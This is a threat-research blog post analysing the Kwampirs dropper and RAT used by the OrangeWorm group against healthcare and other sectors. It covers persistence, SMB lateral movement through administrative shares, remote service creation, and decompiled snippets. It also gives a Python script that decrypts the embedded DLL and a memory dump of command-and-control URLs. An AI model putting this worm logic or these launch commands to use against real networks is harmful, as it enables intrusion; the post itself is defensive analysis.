ORANGEWORM GROUP – KWAMPIRS ANALYSIS UPDATE

(!) securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/ Lab52

March 13, 2019

The OrangeWorm group was named and described by the Symantec Company in different blog entries [1] [2]. We would highlight from these entries that it is a group that has been operational since 2015 and is focused on attacking the **health**, pharmaceutical, technological, manufacturing and logistics sectors. The sector most affected is **healthcare** as described by Symantec.

Based on this information, Lab52 has carried out an in-depth study of the Kwampirs tool (OrangeWorm's main tool) used by this group.

Next, the RAT (Remote Administration Tool) in DII format and the main binary or orchestrator of the infection will be analyzed.

Technical analysis of Kwampirs Dropper

Within its arsenal, OrangeWorm has a RAT in DLL format whose execution and lateral movement is carried out by an executable together with the one that composes the threat known as Kwampirs.

Regarding the executable, which we will call "Kwampirs Dropper" initially highlight its resources, among which are two images with corrupt sections. One of which consists of the DLL with RAT capabilities encrypted with an XOR key that in each execution extracts, decrypts and executes:



This threat has a first execution block, in charge of decrypting all the text strings that it will use and which are encrypted in its ".data" section with a relatively obfuscated XOR algorithm in order to make detection and decryption difficult. After deciphering its strings, it extracts the creation and modification dates from User32.dll and collects information about the operating

system it is on. From this point, its logic can be divided into 4 different paths, depending on the number of parameters, which provide different functionalities for each stage of infection of the threat.

In order to provide the greatest clarity to this report, the order of description of the 4 possible ways of execution of the Kwampirs dropper will follow that of an infection of this threat, instead of the number of parameters incrementally:

Execution with a parameter

The logic that contains the section of code that is executed when it receives a single parameter, is that of a hypothetical installation of the threat, manually, or through a dropper.

It should be noted that this section is completely dependent on having administrator privileges, and in case of not having them, in many points of the execution jumps directly to the end of the logic, thus ending its execution.

First, check the existence of the file "C:\Windows\inf\IE11.PNF", its size (66Bytes) and if it has enough privileges to access it.

If it detects that it already exists (which would indicate that the computer is already infected) or that it does not have enough privileges (which would prevent it from performing the rest of the logic) it ends the execution. If it does not exist and has sufficient privileges, it creates the persistence service.

Triggen	s	Other		C	omment
General	Seguridad	Recovery	Deper	ndencies	Dependent
Provides exten Management Ir	sional informat nstrumentation	ion of performanc (WMI).	ce library fi	rom Window:	S
Type: Own pr	ocess	▼ Si	art type:	Auto start	
Error control:	Ignore	▼ G	roup:		
Binary path:	C:\Windows	\system32\wmiap	orsrv.exe		Browse
User account:	LocalSystem				
User account: Password:	LocalSystem				[
User account: Password: Service DLL:	LocalSystem N/A				

This service generates it with a hardcoded name and data in the strings that it has decrypted at the beginning of its execution, and emphasizes that it points to an executable with the name it has at that moment, but in %System32% even though it has not been observed that

it copies itself to that route at any time. This implies that along with being run with administrator privileges, it also requires having been installed on that route by other means.

After creating the service, it starts it, this time without any parameter, which gives way to another execution path within its logic.

Finally, it creates the file called ie11.PNF in which it writes 66 random bytes:

```
cdecl Create ie11 pnf(int a1)
1 <mark>char</mark>
2 {
3 char *v1; // edi
4 signed int i; // esi
5 int v3; // esi
5
7 v1 = (char *)operator new[](0x42u);
B if ( !v1 )
9
   return 0;
0 for ( i = 0; i < 66; v1[i++] = rand() )</pre>
1
2 v3 = (unsigned __int8)CreateFileWith2tmp(0x42u, v1, (const WCHAR *)a1);
3
  operator delete[](v1);
4 if (!v3)
5
   return 0;
5 SetFileOldTime(1);
7 return 1;
B }
```

In the previous capture, you can see how it creates a buffer of 66Bytes, which it fills with random bytes, and passes it as a parameter to a function that we have called "CreateFileWith2tmp" along with a string, which in this case contains "C:\Windows\inf\ie11.PNF".

The function "CreateFileWith2tmp" uses it constantly for the creation of each one of the files related to this threat, and is in charge of generating two temporary files, in one it stores the first Byte of the buffer it receives as the second parameter, in the second file it stores the rest of the buffer, after which, it executes the following command to concatenate the content of both, and store it in a new file with the name that it has received as the third parameter.

copy /y /b "C:\Users\Lucas\AppData\Local\Temp\Ie1FE4C.tmp" + "C:\Users\Lucas\AppData\Local\Temp\Ie1FE4D.tmp" "C:\Windows\inf\ie11.PNF"

After generating this file, it finishes its execution, having started another instance of its own, as a service, and without parameters.

Execution without parameters

When the threat starts without parameters, after its first string decryption block and collection of system information, it makes a call to the Microsoft API "StartServiceCtrlDispatcherW" responsible for initiating the logic of a Windows service, after which it ends. Therefore, if it is not started as a service, it is not able to perform any action.

🗾 🚄 🖼		
	mov lea push mov mov mov	<pre>eax, lpServiceName ; Ejecución sin parametros ecx, [esp+754h+ServiceStartTable] ecx ; lpServiceStartTable [esp+758h+ServiceStartTable.lpServiceName], eax [esp+758h+ServiceStartTable.lpServiceProc], offset Main_0Params [esp+758h+var_718], ebx</pre>
	mov call jmp	[esp+758h+var_714], ebx ds: <mark>StantServiceCtrlDispatcherW</mark> loc_1017432

If it is loaded as a service, after a first execution of its binary with a parameter, for example, the API "StartServiceCtrlDispatcherW" passes the execution flow of the application to a function of the binary.

This function consists in a first verification of the existence and capacity of access to the file "C:\Windows\inf\mtmndkb32.PNF" if it finds a recent and accessible version of this one, it continues its normal execution, in case of not finding it or having problems of access to it, it goes through the processes in search of the copies of itself that it generates to run with 2 and 3 parameters, and in search of its modules to finish these processes and later, to eliminate these executables, as a cleanup.

```
if ( GetFileAttributesW(&FileName) == -1 ) // check "C:\Windows\inf\mtmndkb32.PNF" attributes
{
    Stop_otherInfections();
    v3 = Sleep;
    Sleep(10000u);
    Delete_oldInstallations(*(_DWORD *)dword_103E9B8);
  }
  else
  {
    v3 = Sleep;
  }
```

Regardless of whether it finds the PNF file or not, it enters an infinite "while (! 0)" loop, which is in charge of keeping its module in DLL format running and maintaining a copy of itself, running with two parameters, which is in charge of the lateral movement by SMB of the threat.

```
if ( !(unsigned __int8)find_ModuleRunning(&v7) )
   DropAndRunDLL(&v7);
20minSleep(1200);
DropAndRunSMBProc();
```

The infinite loop, first, looks for instances of its module in DLL format in execution, in case of not finding it, it calls a function that takes charge of extracting from its resources the image mentioned at the beginning of the report, trimming the corrupt section, decrypting it with an XOR key of 16Bytes, using the following algorithm:

```
#!/usr/bin/python
import sys
args = sys.argv[1:]
offset = 0x19000
xorkey = [0x28 ,0x99 ,0x86 ,0x17 ,0x63 ,0x33 ,0xEE ,0x22 ,0x97 ,0x97 ,0x55 ,0x85 ,0x7A ,0xC4 ,0xE1 ,0xA4]
file_in = 0
file_out = []
with open(args[0], "rb") as f:
    file_in = f.read()
for i in range(0x3fc00):
    file_out.append( ord(file_in[i+offset]) ^ ( xorkey[i&0xf] ) )

newFile = open(args[0]+"module.dll", "wb")
# write to file
newFile.write(bytearray(file_out))
newFile.close()
```

and store the result in System32 with one of the following names with extension ".dll":



Once you have the module on disk, run it through Microsoft executable "rundll32.exe" passing the following parameters:

Process	
Command line:	rundll32.exe "C:\Windows\system32\wmiassn.dll" ControlTrace -Embedding -k DcomLaunch

It then calls a function whose sole purpose is to call a one-minute "Sleep" 20 times, causing his execution to pause for a period of 20 minutes.

After 20 minutes, it makes a call to a function that if it does not find an instance of itself running with 2 parameters, it makes a copy of its own binary with one of the following names:



And it executes it with two parameters using the Microsoft API CreateProcessAsUserW, which allows it to add the token of the current user as the creator of the process, so that the process is executed in its session:

Process	
Command line:	C:\Windows\system32\wmipvsre.exe dwPlatform=7 fPlatform=0

After this, it performs a Sleep with a random value between 1 and 3 minutes, and repeats the same execution flow, thus ensuring that both its module in DLL format and its replica running with two parameters are kept running.

At this point, we are running the process of the main Kwampirs dropper, loaded as System by the persistence service, an instance of rundll32, also as System generated by the process itself without parameters, and a second instance of the executable, this time with the credentials of the user who has logged in, thanks to the use of the "CreateProcessAsUserW" API for its creation:

svcnost.exe	1548			1,77 IVIB	INT\SERVICIO LOG	LAL	Proceso nost para los servicio
wmiaprsrv.exe	2380			1,67 MB	NT AUTHORITY\SY	STEN	WMI Performance Adapter Se
Isass.exe	496			3,91 MB	NT AUTHORITY\SY	STEN ■	Local Security Authority Proce
🔲 Ism.exe	504			2,31 MB	NT AUTHORITY\SY	STEN	Servicio de administrador de s
4 💷 csrss.exe	404	0,10		2,24 MB	NT AUTHORITY\SY	STEN	Proceso en tiempo de ejecuci
conhost.exe	3044			1,17 MB	Lucas-PC\Lucas		Host de ventana de consola
🏥 winlogon.exe	440			2,83 MB	NT AUTHORITY\SY	STEN	Aplicación de inicio de sesión
4 🥃 explorer.exe	1292	0,04		62,93 MB	Lucas-PC\Lucas		Explorador de Windows
ProcessHacker.exe	1360	0,54		8,28 MB	Lucas-PC\Lucas		Process Hacker
rundll32.exe	2404	0,16	1,06 kB/s	3,23 MB	NT AUTHORITY\SY	STEN	Proceso host de Windows (Ru
📑 wmipvsre.exe	2688			1,16 MB	Lucas-PC\Lucas		WMI Performance Adapter Se

Execution with 2 parameters

When the threat is executed with two parameters, after its first string decryption block and collection of system information, it goes directly to a function in charge of scanning private IPs, which it tries to access by SMB in order to check its access and infection capacity.

To do this, it first generates a Thread, which through the Microsoft API "GetTcpTable" obtains the list of IPv4 connections of the system, from which it filters all those that are through ports 445 and 138, so it is able to isolate those related to SMB traffic, afterwards it tries to infect these IPs directly.

To make sure it does not miss any computer to which the user has access, but which is not found on the table, the main thread of the threat scans the entire subnet of the computer, trying to infect all its possible IP addresses.

When the main Thread finishes scanning the computer's subnet. It enters a last zone of code, which generates random private "/ 24" subnets and scans them completely, in order to try to access subnets different from that of the infected computer, but accessible by it.

Each of the IP addresses generated by these three subnet scan approaches is passed to a function that attempts to infect them by trying to access any of the following units via SMB:

- ADMIN\$
- C\$\WINDOWS
- D\$\WINDOWS
- E\$\WINDOWS

To do this, it makes a call to the "CreateFile" API, passing as the file path the IP address to be infected with the following path "[IP]\ ADMIN \$ \ system32 \ csrss.exe" replacing the first element after the IP address for each of the strings of the previous list, generating the following network traffic:

Protocol	Leng Source GeoIP	Destination GeoIP	Info
SMB2	168 US	US	Tree Connect Request Tree: \\11.11.11.2\ADMIN\$
SMB2	138 US	US	Tree Connect Response
SMB2	362 US	US	Create Request File: system32\csrss.exe
SMB2	386 US	US	Create Response File: system32\csrss.exe

If it gets access to this file on any computer, it checks the existence of ie11.PNF, to see if it is already infected, otherwise it creates a new one on that computer and gives the date and time extracted from User32.dll :

SMB2	346 US	US	Create Request File: inf\ie11.PNF	
SMB2	131 US	US	Create Response, Error: STATUS_OBJECT_NAME_NOT_F	OUND
SMB2	346 US	US	Create Request File: inf\ie11.PNF	
SMB2	386 US	US	Create Response File: inf\ie11.PNF	
SMB2	171 US	US	Write Request Len:1 Off:0 File: inf\ie11.PNF	
SMB2	138 US	US	Write Response	
SMB2	162 US	US	SetInfo Request FILE_INFO/SMB2_FILE_ALLOCATION_I	NFO File: inf\ie11.PNF
SMB2	124 US	US	SetInfo Response	
SMB2	235 US	US	Write Request Len:65 Off:1 File: inf\ie11.PNF	
SMB2	138 US	US	Write Response	
SMB2	146 US	US	Close Request File: inf\ie11.PNF	
SMB2	182 US	US	Close Response	

If it is able to create that file, it tries to copy itself, for which it chooses some of the hardcoded names it has in its strings:

- wmiapsrvce.exe
- wmiapsvrce.exe
- wmiapsvre.exe
- wmiapvsre.exe
- wmiaprvse.exe

- wmiapsrve.exe
- wmiapsrvcx.exe

And it generates a copy of itself with that name, on the remote computer through SMB:

5 11.11.11.2	11.11.11.66 S	5MB2 1	38 US U	S	Write Response
9 11.11.11.66	11.11.11.2 S	5MB2 1	62 US U	S	Write Request Len:38912 Off:1310720 File: system32\wmiapvsre.exe
8 11.11.11.2	11.11.11.66 S	5MB2 1	38 US 🛛 U	S	Write Response
8 11.11.11.2	11.11.11.66 S	5MB2 1	38 US 🛛 U	s	Write Response
5 11.11.11.66	11.11.11.2 S	5MB2 19	94 US U	s	SetInfo Request FILE_INF0/SMB2_FILE_BASIC_INF0 File: system32\wmiapvsre.exe
8 11.11.11.2	11.11.11.66 S	5MB2 1	24 US U	S	SetInfo Response
8 11.11.11.66	11.11.11.2 S	5MB2 14	46 US U	s	Close Request File: system32\wmiapvsre.exe
5 11.11.11.2	11.11.11.66 S	5MB2 1	82 US U	S	Close Response
4 11.11.11.66	11.11.11.2 S	5MB2 34	46 US U	s	Create Request File: system32\wmiapvsre.exe
9 11.11.11.2	11.11.11.66 S	5MB2 3	30 US - U	s	Create Response File: system32\wmiapvsre.exe
9 11.11.11.66	11.11.11.2 S	5MB2 1	94 US U	S	SetInfo Request FILE_INF0/SMB2_FILE_BASIC_INF0 File: system32\wmiapvsre.exe
B 11.11.11.2	11.11.11.66 S	5MB2 1:	24 US U	s	SetInfo Response
4 11.11.11.66	11.11.11.2 S	5MB2 3:	14 US U	s	Create Request File: system32\wmiapsrve.exe
5 11.11.11.2	11.11.11.66 S	5MB2 1	31 US 🛛 U	s	Create Response, Error: STATUS_OBJECT_NAME_NOT_FOUND
2 11.11.11.66	11.11.11.2 S	5MB2 34	46 US U	s	Create Request File: system32\wmiapvsre.exe
9 11.11.11.2	11.11.11.66 S	5MB2 3	30 US U	S	Create Response File: system32\wmiapvsre.exe
1 11.11.11.66	11.11.11.2 S	5MB2 14	46 US U	s	Close Request File: system32\wmiapvsre.exe
1 11.11.11.2	11.11.11.66 S	5MB2 1	82 US U	S	Close Response
7 11.11.11.66	11.11.11.2 S	5MB2 2	22 US U	s	SetInfo Request FILE_INFO/SMB2_FILE_RENAME_INFO File: system32\wmiapvsre.exe NewName:system32\wmiapsrve.exe
2 11.11.11.2	11.11.11.66 S	5MB2 1	24 US U	S	SetInfo Response
3 11.11.11.66	11.11.11.2 S	5MB2 1	62 US U	s	GetInfo Request FILE_INFO/SMB2_FILE_NETWORK_OPEN_INFO File: system32\wmiapvsre.exe
2 11.11.11.2	11.11.11.66 S	5MB2 1	86 US 🛛 U	S	GetInfo Response
	9 11.11.11.66 8 11.11.11.66 8 11.11.11.66 8 11.11.11.66 8 11.11.11.66 8 11.11.11.66 9 11.11.11.66 9 11.11.11.66 11.11.11.66 11.11.11.66 11.11.11.66 11.11.12 9 11.11.11.66 11.11.11.66 11.11.12 11.11.11.66 11.11.12 11.11.11.66 11.11.12 11.11.11.66 11.11.12 11.11.11.2 11.11.12 11.11.11.2 11.11.12 11.11.11.2 11.11.11.66 11.11.11.2 11.11.11.2 11.11.11.2 11.11.11.2 11.11.11.2 11.11.11.2	9 11.11.11.66 11.11.11.2 8 11.11.11.66 11.11.11.6 5 11.11.11.66 11.11.11.6 5 11.11.11.66 11.11.11.6 5 11.11.11.66 11.11.11.6 5 11.11.11.66 11.11.11.66 5 11.11.11.66 11.11.11.66 6 11.11.11.66 11.11.11.66 9 11.11.11.66 11.11.11.66 9 11.11.11.66 11.11.11.66 9 11.11.11.66 11.11.11.66 11.11.11.66 11.11.11.2 6 11.11.11.66 11.11.11.2 11.11.11.66 11.11.11.2 11.11.11.66 11.11.11.2 11.11.11.66 11.11.11.2 11.11.11.66 11.11.11.2 11.11.11.66 11.11.11.2 11.11.11.66 11.11.11.2 11.11.11.66 11.11.11.2 11.11.11.66 11.11.11.2 11.11.11.66 11.11.11.2 11.11.11.66 11.11.11.66 11.11.11.11.2 11.11.11.	J J <thj< th=""> J <thj< th=""> <thj< th=""></thj<></thj<></thj<>	9 11.11.11.2 11.11.11.66 11.11.12 SND2 1.16 1.11 1.16 1.11 1.16 1.11 1.16 1.11 1.11 SNB2 1.26 SNB 1.26 1.26 1.26 1.26 1.26 1.26 1.26 1.26 1.26 1.26 1.26 1	b 11.11.11.2 11.11.11.66 11.11.11.2 SNB2 11.6 11.6 11.11.11.6 11.11.11.2 SNB2 11.6 US US 8 11.11.11.66 11.11.11.2 SNB2 138 US US US 8 11.11.11.2 11.11.11.66 SNB2 138 US US 5 11.11.11.2 11.11.11.66 SNB2 124 US US 8 11.11.11.66 11.11.11.2 SNB2 124 US US 8 11.11.11.66 11.11.11.2 SNB2 124 US US 5 11.11.11.66 11.11.11.2 SNB2 124 US US 5 11.11.11.66 11.11.11.2 SNB2 124 US US 9 11.11.11.66 11.11.11.2 SNB2 124 US US 8 11.11.11.66 11.11.11.2 SNB2 124 US US 6 11.11.11.66 11.11.11.2 SNB2 131 US US 11.11.11.66 11.11.11.6 SNB2

Each time it is able to create both ie11.PNF and the Kwampirs executable, it calls a function that, depending on the SMB scanning routine used to generate it, passes a number to it as a parameter. If it has reached this IP from the scanning logic of the system subnet, it passes it a 0, if it has done it through the scanning routine of random private networks, it passes a 1, if it has reached this address to through the thread, it passes a 2.

This function generates a string like the following: "Lucas-PC\Lucas\192.168.19.2\0\Mon Dec 03 17:38:27 2018"

The string consists of the user and domain with which the other system has been infected, the IP address of the infected victim computer, the number that it has received as a parameter and that identifies the SMB scanning algorithm that detected the victim, and the date and time of infection. This string encrypts it with an XOR algorithm using a 203-byte hardcoded key and adds it to a temporary file called "Lb978YTy.tmp"

Finally, it creates a new copy of itself in System32 of the local computer, and executes it this time with 3 parameters, to which it passes, firstly the IP address of the computer it has just infected, and then two more parameters, similar to those it has received in its execution.

Execution with 3 parameters

This last branch of execution of the Kwampirs dropper, is in charge of generating persistence in remote computers infected by its replica executed with two parameters, and is also in charge of the execution of this persistence, which corresponds to the service called "WmiApSrvEx".

To do this, it first extracts the last character from its second and third parameters, and passes it from "char" to "int". The second parameter, can be a value between 0 and 3, (if it is something different, its execution ends). This value corresponds to the remote directory to

which it has been able to access its replica of two parameters, thus obtaining the accessible remote path:

- 0 = ADMIN\$
- 1 = C\$\WINDOWS
- 2 = D\$\WINDOWS
- 3 = E\$\WINDOWS

The third parameter, can be a number between 0 and 6, and corresponds to the name that has put the copy of itself in the remote computer, as follows:

- 0 = wmiapsrvce.exe
- 1 = wmiapsvrce.exe
- 2 = wmiapsvre.exe
- 3 = wmiapvsre.exe
- 4 = wmiaprvse.exe
- 5 = wmiapsrve.exe
- 6 = wmiapsrvcx.exe

With this, and the address of the remote computer that has as its first parameter, tries to create and start the service "WmiApSrvEx" on the remote computer, generating traffic like the following:

SVCCTL	250 US	US	OpenSCManagerW request, 11.11.11.2
SVCCTL	218 US	US	OpenSCManagerW response
SVCCTL	262 US	US	OpenServiceW request
SVCCTL	218 US	US	OpenServiceW response, Unknown error 0x00000424
SVCCTL	490 US	US	Unknown operation 45 request
SMB2	131 US	US	Ioctl Response, Error: STATUS_PENDING
SVCCTL	222 US	US	Unknown operation 45 response
SVCCTL	456 US	US	ChangeServiceConfig2W request
SMB2	131 US	US	Ioctl Response, Error: STATUS_PENDING
SVCCTL	198 US	US	ChangeServiceConfig2W response
SVCCTL	270 US	US	OpenServiceW request
SVCCTL	218 US	US	OpenServiceW response
SVCCTL	222 US	US	QueryServiceStatus request
SVCCTL	226 US	US	QueryServiceStatus response
SVCCTL	226 US	US	QueryServiceConfigW request
SVCCTL	238 US	US	QueryServiceConfigW response
SVCCTL	226 US	US	QueryServiceConfigW request
SVCCTL	486 US	US	QueryServiceConfigW response
SVCCTL	270 US	US	ChangeServiceConfigW request
SMB2	131 US	US	Ioctl Response, Error: STATUS_PENDING
SVCCTL	202 US	US	ChangeServiceConfigW response
SVCCTL	230 US	US	StartServiceW request
SMB2	131 US	US	Ioctl Response, Error: STATUS_PENDING
SVCCTL	198 US	US	StartServiceW response

Depending on whether it is capable of generating and executing the service or not, it makes a call to the registration function in the "Lb978YTy.tmp" log of infected remote computers, but this time, the parameter can be a 3 if everything went well, or a 4 if it has not been able to generate or initiate persistence. Thus leaving in the ".tmp" file registry a record of the computers to which he has had access (logs with 0.1 or 2) and if it has been able to infect them or not with (3 or 4) logs.

If it is not able to infect the computer, it tries to eliminate the remote ie11.PNF file, obtaining in this way for it to try again to infect said computer in a future execution.

Technical analysis of Kwampirs RAT

OrangeWorm within its arsenal has a RAT in DII format (from now on Kwampirs) that is executed by "Kwampirs Dropper". This device has the following static characteristics:

\$ rabin2 -E 07f5fa96d31ed75edba8699f53a75502ade214b34469163011ced5b94e393f32 [Exports] Num Paddr Vaddr Bind Type Size Name 000 0x00003380 0x10003f80 GLOBAL FUNC 0 wmiax.dll_ControlTrace

In all the samples analyzed the ControlTrace () function is exported. This has not changed since the Symantec report. Kwampirs RAT depending on the number of parameters will have a different behavior. The possibilities implemented on this occasion are two, when **three** parameters and when **four** parameters are passed to the function.

```
$ rundll32.exe kwampirs.dll,ControlTrace –Embedding –k DcomLaunch
$ rundll32.exe kwampirs.dll,ControlTrace –Embedding –k DcomLaunch Xpfr45
```

The analysis will describe the behavior of Kwampirs RAT in each of the two existing execution branches:

Execution with three parameters

The actions that Kwampirs RAT performs once it starts with three parameters are:

1. The first thing it does is to decipher the compromise indicators (IOCs from now on). Once deciphered we will see them reflected in memory:

rundll32	.exe	(358	30) (()xb8	900	0 - 0	xb9(0000))																								
00000198	38	00	35	00	2e	00	35	00	39	00	2e	00	33	00	37	00	2e	00	31	00	33	00	31	00	2ť	00	68	00	6f	00	6d	00	8.55.93.71.3.1./.h.o.m.
00000fb8	65	00	2f	00	69	00	6e	00	64	00	65	00	78	00	2e	00	70	00	68	00	70	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab	e./.i.n.d.e.xp.h.p
00000fd8	00	00	00	00	00	00	00	00	fa	a8	93	63	83	df	00	18	79	00	68	00	64	00	69	00	6b	00	6a	00	2e	00	69	00	c <u>M</u> .h.d.1.k.j1.
00000ff8	6e	00	2f	00	67	00	72	00	6f	00	75	00	70	00	2f	00	75	00	73	00	65	00	72	00	73	00	2f	00	68	00	6f	00	n./.g.r.o.u.p./.u.s.e.r.s./.h.o.
00001018	6d	00	65	00	2e	00	61	00	73	00	70	00	78	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab	00	00	00	00	00	00	00	00	m.ea.s.p.x
00001038	fa	88	93	63	82	df	00	10	68	00	66	00	6e	00	6e	00	72	00	6a	00	2e	00	6e	00	6C	00	21	00	67	00	72	00	cj.f.n.n.r.jn.l./.g.r.
00001058	61	00	75	00	70	00	75	00	73	00	65	00	72	00	73	00	21	00	68	00	61	00	60	00	65	00	ze	00	70	00	68	00	o.u.p.u.s.e.r.s./.n.o.m.ep.n.
00001078	10	00	62	00	aD	aD	aD	aD	aD	aD	aD	aD	ee 6a	ie	20	re	00	00	64	00	00	00	00	00	11	a0	33	00	24	ar	00	14	p
00001098	26	00	63	00	72	00	66	00	75	00	20	00	60	00	65	00	22	00	26	00	64	00	61	00	60	00	20	00	69	00	60	00	(grouppeu/painbo
00001048	64	00	65	00	69	00	67	00	64	00	65	00	20	00	61	00	73	00	20	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab	01	fe	rebore are
00001058	00	00	00	00	00	00	00	00	fe	aß	93	65	87	df	00	18	31	00	32	00	32	00	2#	00	36	00	33	0.0	2#	00	34	00	
00001118	32	00	26	00	31	00	39	00	21	00	6e	00	65	00	77	00	21	00	69	00	6e	00	64	00	65	00	78	00	68	00	6f	00	21.9./.n.e.w./.i.n.d.e.x.h.o.
00001138	6d	00	65	00	2f	00	64	00	65	00	66	00	61	00	75	00	6c	00	74	00	2e	00	61	00	73	00	70	00	78	00	00	00	m.e./.d.e.f.a.u.l.ta.s.p.x
00001158	ab	ab	ab	ab	ab	ab	ab	ab	00	00	00	00	00	00	00	00	fb	a8	93	62	84	df	00	18	6a	00	66	00	6e	00	6e	00	bi.f.n.n.
00001178	72	00	6a	00	6a	00	66	00	6e	00	64	00	73	00	77	00	2e	00	6e	00	6c	00	2f	00	64	00	65	00	66	00	61	00	r.j.j.f.n.d.s.wn.l./.d.e.f.a.
00001198	75	00	6c	00	74	00	2e	00	70	00	68	00	70	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab	00	00	00	00	00	00	00	00	u.l.tp.h.p
000011b8	fc	a8	93	65	83	df	00	1c	77	00	77	00	77	00	2e	00	6b	00	63	00	6e	00	бa	00	66	00	6e	00	2e	00	63	00	ew.w.wk.c.n.j.f.nc.
000011d8	6f	00	6d	00	2f	00	6e	00	65	00	77	00	2f	00	6d	00	61	00	69	00	6e	00	2f	00	68	00	6f	00	6d	00	65	00	o.m./.n.e.w./.m.a.i.n./.h.o.m.e.
000011f8	69	00	6e	00	64	00	65	00	78	00	2e	00	70	00	68	00	70	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab	ee	fe	ee	fe	i.n.d.e.xp.h.p
00001218	00	00	00	00	00	00	00	00	fc	a8	93	65	84	df	00	18	79	00	68	00	64	00	73	00	65	00	72	00	76	00	6e	00	ey.h.d.s.e.r.v.n.
00001238	63	00	6a	00	2e	00	63	00	61	00	2f	00	6e	00	65	00	77	00	75	00	73	00	65	00	72	00	73	00	2f	00	64	00	c.jc.a./.n.e.w.u.s.e.r.s./.d.
00001258	65	00	66	00	61	00	75	00	6c	00	74	00	68	00	6f	00	6d	00	65	00	2e	00	61	00	73	00	70	00	78	00	00	00	e.f.a.u.l.t.h.o.m.ea.s.p.x
00001278	ab	ab	ab	ab	ab	ab	ab	ab	00	00	00	00	00	00	00	00	fa	a8	93	63	84	df	00	18	6e	00	72	00	6a	00	6a	00	cn.r.j.j.
00001298	66	00	6e	00	69	00	6b	00	6a	00	73	00	65	00	72	00	76	00	2e	00	6f	00	72	00	67	00	2f	00	68	00	6f	00	f.n.i.k.j.s.e.r.vo.r.g./.h.o.
00001268	6d	00	65	00	21	00	68	00	61	00	6d	00	65	00	2e	00	70	00	68	00	70	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab	m.e./.h.o.m.ep.h.p
00001248	00	00	00	00	00	00	00	00	II	a8	93	66	82	dI	00	le	36	00	35	00	2e	00	39	00	33	00	2e	00	31	00	30	00	f6.59.31.0.
00001218	34	00	2e	00	39	00	35	00	21	00	75	00	73	00	65	00	72	00	73	00	21	00	65	00	01	00	60	00	65	00	21	00	49.5./.u.s.e.r.s./.n.o.m.e./.
00001318	04	00	05	00	00	00	01	00	15	00	00	00	/4	00	21	00	68	00	00	00	00	00	00	00	2e	00	02	65	68	45	20	10	a.e.I.a.u.I.t./.n.o.m.ep.n.p.
00001358	22	00	20	aD	26	aD 00	aD 6a	aD	4D	ab	ee 6a	1e	22	1e	22	re	26	00	20	00	62	00	60	00	20	a0	93	00	6.	00	20	14	
00001338	67	00	72	00	67	00	24	00	67	00	72	00	64	00	75	00	70	00	20	00	68	00	6f	00	64	00	65	00	68	00	67	00	org/group/bomebo
00001398	64	00	65	00	2.	00	70	00	68	00	70	00	00	00	ab	ab	ab	ab	ah	ab	ab	ab		fe	00	00	00	00	00	00	00	00	ne nhn
000013b8	fd	a8	93	64	84	df	00	18	6e	00	72	00	6a	00	6d	00	61	00	69	00	6e	00	6e	00	63	00	6a	00	6a	00	66	00	dn.r.1.m.a.1.n.n.c.1.1.f.
000013d8	6e	00	2e	00	6e	00	6c	00	2f	00	69	00	6e	00	64	00	65	00	78	00	2f	00	6d	00	61	00	69	00	6e	00	6d	00	nn.l./.i.n.d.e.x./.m.a.i.n.m.
000013f8	61	00	69	00	6e	00	2e	00	70	00	68	00	70	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab	00	00	00	00	00	00	00	00	a.1.np.h.p
00001418	ff	a8	93	66	85	df	00	1e	77	00	77	00	77	00	2e	00	64	00	73	00	77	00	бе	00	63	00	64	00	6e	00	69	00	fw.w.wd.s.w.n.c.d.n.i.
00001438	6b	00	6a	00	6e	00	72	00	6a	00	2e	00	63	00	68	00	2f	00	6e	00	65	00	77	00	2f	00	64	00	65	00	66	00	k.j.n.r.jc.h./.n.e.w./.d.e.f.
00001458	61	00	75	00	6c	00	74	00	68	00	6f	00	6d	00	65	00	2e	00	70	00	68	00	70	00	00	00	ab	ab	ab	ab	ab	ab	a.u.l.t.h.o.m.ep.h.p
00001478	ab	ab	ee	fe	ee	fe	ee	fe	00	00	00	00	00	00	00	00	fd	a 8	93	64	87	df	00	1e	79	00	68	00	64	00	73	00	dy.h.d.s.
00001498	72	00	76	00	70	00	62	00	бe	00	2e	00	75	00	73	00	2f	00	6e	00	65	00	77	00	2£	00	6c	00	6f	00	67	00	r.v.p.b.nu.s./.n.e.w./.l.o.g.
000014b8	69	00	6e	00	2f	00	6c	00	6f	00	67	00	69	00	6e	00	2e	00	70	00	68	00	70	00	00	00	ab	ab	ab	ab	ab	ab	i.n./.l.o.g.i.np.h.p
000014d8	ab	ab	ee	fe	ee	fe	ee	fe	00	00	00	00	00	00	00	00	fe	a8	93	67	85	df	00	1c	77	00	77	00	77	00	2e	00	gw.w.w.
000014f8	6d	00	61	00	69	00	6e	00	6e	00	63	00	64	00	6e	00	6e	00	63	00	6a	00	2e	00	69	00	6e	00	2f	00	6e	00	m.a.i.n.n.c.d.n.n.c.ji.n./.n.
00001518	65	00	77	00	67	00	72	00	61	00	75	00	70	00	2f	00	6d	00	61	00	69	00	6e	00	2f	00	68	00	6f	00	6d	00	e.w.g.r.o.u.p./.m.a.i.n./.h.o.m.
00001538	65	00	6d	00	61	00	69	00	6e	00	2e	00	61	00	73	00	70	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab	ee	re	ee	Ie	e.m.a.1.na.s.p
00001558	00	00	00	00	00	00	00	00	IC	ac 00	93	00	20	ar	20	18	oe	00	03	00	20	00	00	00	63	00	08	00	60	00	61	00	en.c.j.n.c.j.m.a.
00001578	69	00	6e	00	2e	00	60	00	00	00	21	00	26	00	60	00	01	00	10	00	65	00	21	00	20	00	61	00	20	00	0.9	00	1.nc.n./.g.r.o.u.p./.1.o.g.1.
00001598	oe ab	ab	09 ab	ab	oe ab	ab	ab.	ab	00	00	00	00	21	00	00	00	01 fa	20	00	62	0.0	df	200	10	70	00	60	00	64	00	60	00	n.i.n.d.e.x./.n.o.m.ep.n.p
00001548	72	00	68	00	6e	00	63	00	64	00	6e	00	64	00	73	00	77	00	50 6e	0.0	72	00	6a	00	28	00	60 6e	00	60	00	21	00	r.i.n.c.d.n.d.s.w.n.r.in.l./.
000015f8	60	00	61	00	69	00	60	00	20	00	61	00	73	00	70	00	78	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab		fe		fe	m.a.i.na.a.n.x.
